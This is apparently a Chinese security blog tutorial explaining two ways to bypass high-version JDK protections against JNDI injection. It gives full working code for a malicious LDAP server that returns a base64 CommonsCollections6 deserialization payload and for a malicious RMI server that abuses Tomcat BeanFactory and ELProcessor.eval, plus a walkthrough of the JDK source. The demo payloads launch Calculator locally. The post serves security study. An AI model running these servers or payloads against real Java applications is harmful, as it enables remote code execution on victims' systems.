JNDI 注入利用 Bypass 高版本 JDK 限制
0x00 前言
JNDI 注入利用非常广泛但是在高版本 JDK 中由于默认 codebase 为 true 从而导致客户端默认不会请求远程Server上的恶意 Class,不过这种手法也有 Bypass 的方式,本文主要学习 KINGX 师傅所提出的两种 Bypass 的方法
KINGX 师傅文章链接:https://mp.weixin.qq.com/s/Dq1CPbUDLKH2IN0NA_nBDA
JNDI 注入通常利用 rmi 、ldap 两种方式来进行利用,其中 ldap 所适用的 JDK 版本更加多一些
RMI:JDK 8u113、JDK 7u122、JDK 6u132 起 codebase 默认为 true
LDAP:JDK 11.0.1、JDK 8u191、JDK 7u201、JDK 6u211 起 codebase 默认为 true
关于 JNDI 注入的文章可以看KINGX师傅的
0x01 Bypass 1:返回序列化Payload,触发本地Gadget
由于在高版本 JDK 中 codebase 默认为 true 就导致客户端无法请求未受信任的远程Server上的 class,所以既然不能远程那么就尝试来攻击本地 classpath
当我们开启一个恶意的 Server 并控制返回的数据,由于返回的数据是序列化的,所以当客户端接收到数据之后会进行反序列化操作,那么如果客户端本地存在有反序列化漏洞的组件那么就可以直接触发
Evil LDAP Server
/**
* In this case
* Server return Serialize Payload, such as CommonsCollections
* if Client's ClassPath exists lib which is vulnerability version So We can use it
* Code part from marshalsec
*/
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.text.ParseException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
public class HackerLdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] args ) {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
// in this class remove the construct
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = "Exploit";
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, ParseException {
e.addAttribute("javaClassName", "foo");
// java -jar ysoserial-master-d367e379d9-1.jar CommonsCollections6 'open /System/Applications/Calculator.app'|base64
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AChvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
这里返回的是 CommonsCollections6 的序列化 payload ,所以本地 classpath 需要有这个包,添加到 pom.xml 中
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
Victim Client
package JNDI.LocalGadgetBypass.Client;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;
/**
* codebase: true (means client will not download class from remote Server which is unreliable)
*/
public class VictimClient {
public static void main(String[] args) throws NamingException {
Hashtable<String,String> env = new Hashtable<>();
Context context = new InitialContext(env);
context.lookup("ldap://127.0.0.1:1389/Exploit");
}
}
可以看到意料之内的弹出了计算器
分析
上面的 恶意 LDAP Server 中其实最关键的是以下这个函数
可以看到该函数中将序列化payload放到了 javaSerializedData 变量中
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, ParseException {
e.addAttribute("javaClassName", "foo");
// java -jar ysoserial-master-d367e379d9-1.jar CommonsCollections6 'open /System/Applications/Calculator.app'|base64
e.addAttribute("javaSerializedData", Base64.decode("序列化payload"));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
接下来我们来进行正向分析,同时想清楚作者是如何发现 javaSerializedData 这个变量的
因为恶意Server只是返回序列化payload,所以在调试分析中并不是我关注的重点,我所关注的是客户端是如何将返回的数据进行反序列化并进行触发,所以我在 lookup 处打了断点
前期我们只需要重点关注 lookup 就行了,不断的进行跟进
最后会来到 com.sun.jndi.ldap.LdapCtx#c_lookup,我们这里注意到 JAVA_ATTRIBUTES 变量
JAVA_ATTRIBUTES 为一个 String 数组,这里的 JAVA_ATTRIBUTES[2] 对应的就是 javaClassName ,也就是说如果 javaClassName 不为 null 那么就会调用 Obj.decodeObject 来处理 var4
static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"};
这里的 var4 就是恶意 Server 所返回的值
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, ParseException {
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", Base64.decode("序列化payload"));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
跟进 decodeObject 函数,在该函数中对不同的返回值的情况做了不同的处理,这个地方非常关键我们来仔细分析一下
这三个判断主要针对返回值的不同来进行不同的调用,其中第一个判断就是我们 bypass 的触发点
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
先来看第一个判断
JAVA_ATTRIBUTES[1] => javaSerializedData
在第一个判断中会判断我们返回的值获取 javaSerializedData 所对应的值,如果不为 null 的话就会调用 deserializeObject 进行反序列化,这不就是我们当前的 bypass 手法嘛
所以如果我们当前 classpath 中存在 CommonsCollections 3.1-3.2.1 那么这里就会直接进行触发
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
}
接下来看第二个判断
JAVA_ATTRIBUTES[7] => javaRemoteLocation,JAVA_ATTRIBUTES[2] => javaClassName
如果返回值中 javaRemoteLocation 对应的数值不为 null 就会调用 decodeRmiObject 函数
else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
}
在 decodeRmiObject 中 new 了一个 Reference并进行返回
接下来看第三个判断
这个判断其实就是 jndi 注入的触发点,即远程加载 class 并反序列化
else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
然后就是 urlclassloader 远程获取并进行反序列化操作
RefAddr var17 = (RefAddr)deserializeObject(var13.decodeBuffer(var6.substring(var19)), var14);
var15.setElementAt(var17, var12);
0x02 Bypass 2:利用本地Class作为Reference Factory
RMI 返回的 Reference 对象会指定一个 Factory,正常情况下会调用 factory.getObjectInstance 来远程获取外部对象实例,但是由于 codebase 限制,我们不能加载未受信任的地址。
所以我们可以构造 Reference 并将其指向我们本地 classpath 中存在的类,但是该类必须要符合一些条件(下文有介绍)
本种bypass方法利用了 org.apache.naming.factory.BeanFactory ,中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。
该包存在于 Tomcat 依赖包所以应用还是比较广泛
Evil RMI Server
package JNDI.FactoryBypass.Server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class HackerRmiServer {
public static void lanuchRMIregister(Integer rmi_port) throws Exception {
System.out.println("Creating RMI Registry, RMI Port:"+rmi_port);
Registry registry = LocateRegistry.createRegistry(rmi_port);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/usr/bin/open','/System/Applications/Calculator.app']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
System.out.println(referenceWrapper.getReference());
}
public static void main(String[] args) throws Exception {
lanuchRMIregister(1099);
}
}
pom.xml
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.20</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>9.0.20</version>
</dependency>
Victim Client
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;
public class VictimClient {
public static void main(String[] args) throws NamingException {
Hashtable<String,String> env = new Hashtable<>();
Context context = new InitialContext(env);
context.lookup("rmi://127.0.0.1:1099/Exploit");
}
}
分析
客户端前期获取 stub 的过程这边就不多介绍了,感兴趣的师傅可以自己调试一下
com.sun.jndi.rmi.registry#RegistryContext
这里的 var2 就是 stub,我们直接跟进 decodeObject
来看 decodeObject 函数,前半部分就是获取 Reference 然后赋值给 var8 ,接下来会有一个判断:
- 获取到的 Reference 是否为null
- Reference 中 classFactoryLocation 是否为null
- trustURLCodebase 是否为 true
由于是 bypass jndi 所以 codebase 自然是为 true 的 ,同时这里的 classFactoryClassLocation 也为 null 所以进入到 NamingManager.getObjectInstance
NamingManager.getObjectInstance
在前面有说到客户端收到 RMI Server 返回到 reference ,其中 reference 会指向一个 factory,所以首先调用 String f = ref.getFactoryClassName();
将 reference 中指向的 factory 获取其名字,然后传入 getObjectFactoryFromReference(ref, f);
在该函数中会将 factory 进行实例化
在 getObjectFactoryFromReference 中对 factory 进行了实例化,这里的 factory 就是我们恶意 RMI Server 中构造 reference 所指向的 factory org.apache.naming.factory.BeanFactory
重新回到 NamingManager.getObjectInstance
,这里的 factory 已实例化,接下来掉用了 factory 的 getObjectInstance 函数
所以这里其实我们可以看到这里我们 reference 指定的 factory 类并不是任意都可以的,必须要有 getObjectInstance 方法
factory#getObjectInstance 方法就是用来获取远程对象实例的
接下来就会来到我们指定的 org.apache.naming.factory.BeanFactory
中的 getObjectInstance 方法
在分析函数之前我们先来看看我们 RMI Server 上的 payload
// 指定了执行了 className 为 javax.el.ELProcessor ,在 getObjectInstance 中会调用 getClassName 获取 className 并进行世例化
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 设置 forceString 为 x=eval
ref.add(new StringRefAddr("forceString", "x=eval"));
// 同样对 x 进行设置,具体原因看下文
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/usr/bin/open','/System/Applications/Calculator.app']).start()\")"));
在 getObjectInstance 函数的开头,通过 getClassName 获取了我们 payload 中指定的 javax.el.ELProcessor 类并进行了实例化
(为什么要指定这个类在下文进行介绍)
继续看函数的下半部分,首先对 javax.el.ELProcessor 进行了实例化,并调用 ref.get(“forceString”) 获取到 ra
Type: forceString
Content: x=eval
来到 if 里面,通过 getContent 获取值 x=eval ,然后会设置参数类型为 String,Class<?>[] paramTypes = new Class[]{String.class};
,如果value 中存在 , 就进行分割
接下来会获取 value 中 =
的索引位置,如果value中存在 = 就会进行分割赋值,如果不存在 = 就会获取param 的 set 函数
如 param 为 demo => setDemo
然后来到 forced.put(param, beanClass.getMethod(propName, paramTypes));
将 param 和 方法添加到 forced 这个map 中
然后从 forced 中取出方法进行反射调用
所以这里就来解释一下为什么找 public java.lang.Object javax.el.ELProcessor.eval(java.lang.String)
而不是其他类
其实从上面的代码可看出要想被添加到 forced 中需要符合一些条件
- 目标类必须有无参构造函数 =>
beanClass.getConstructor().newInstance()
- 函数要为 public 同时参数类型为 String =>
forced.put(param, beanClass.getMethod(propName, paramTypes));
所以这里要实现 RCE 的化ELProcessor#eval 自然是最合适不过的了
所以作者显示寻找到了 org.apache.naming.factory.BeanFactory
然后在该类的 getObjectInstance 方法中能调用符合特定要求的 String 方法,所以作者寻找到了 javax.el.ELProcessor#eval
并在 getObjectInstance 中通过反射实例化了 ELProcessor 类最终调用 eval 方法
0x03 参考链接
https://www.veracode.com/blog/research/exploiting-jndi-injections-java